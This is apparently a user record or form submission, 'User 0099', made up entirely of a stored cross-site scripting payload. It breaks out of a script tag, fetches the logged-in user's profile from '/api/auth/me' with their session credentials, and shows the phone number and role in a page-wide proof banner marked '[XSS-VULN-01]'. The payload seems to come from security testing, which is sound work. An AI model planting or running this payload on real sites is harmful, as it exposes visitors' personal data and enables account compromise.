User 0099

</script><script>fetch('/api/auth/me',{credentials:'include'}).then(function(r){return r.json()}).then(function(d){var el=document.createElement('div');el.id='xss-proof';el.style.cssText='position:fixed;top:0;left:0;right:0;background:#c00;color:#fff;z-index:99999;padding:16px;font-size:15px;font-family:monospace';el.textContent='[XSS-VULN-01] Phone:'+d.phone+' Role:'+d.role;document.body.appendChild(el)}).catch(function(){var el=document.createElement('div');el.style.cssText='position:fixed;top:0;left:0;right:0;background:#f60;color:#fff;z-index:99999;padding:16px;font-size:15px;font-family:monospace';el.textContent='[XSS-VULN-01] Executed - unauthenticated visitor';document.body.appendChild(el)})</script>